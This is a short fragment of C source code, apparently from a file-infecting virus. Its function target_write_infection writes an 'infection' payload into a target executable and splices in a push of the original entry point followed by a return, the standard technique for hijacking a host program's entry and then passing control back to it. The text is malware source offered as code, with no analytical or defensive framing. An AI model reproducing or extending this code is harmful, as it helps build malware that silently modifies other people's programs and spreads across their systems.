bool target_write_infection(Target* t, size_t* code_size)
{
  enum { ADDR_SIZE = sizeof(((Target*)0)->original_entry) }; 
  enum { REST_OFS = ENTRY_POINT_OFS + ADDR_SIZE };

  TRACE_DEBUG(-1, "target_write_infection "
    "ENTRY_POINT_OFS=%d ADDR_SIZE=%d\n", ENTRY_POINT_OFS, ADDR_SIZE
  );

  /* i386: first byte is the opcode for "push" */
  CHECK_WRITE(infection, ENTRY_POINT_OFS);

  /* i386: next four bytes is the address to "ret" to */
  CHECK_WRITE(&t->original_entry, sizeof(t->original_entry));

  /* rest of infective code */
  CHECK_WRITE(infection + REST_OFS, sizeof(infection) - REST_OFS);

  *code_size = sizeof(infection);
  return true;
}
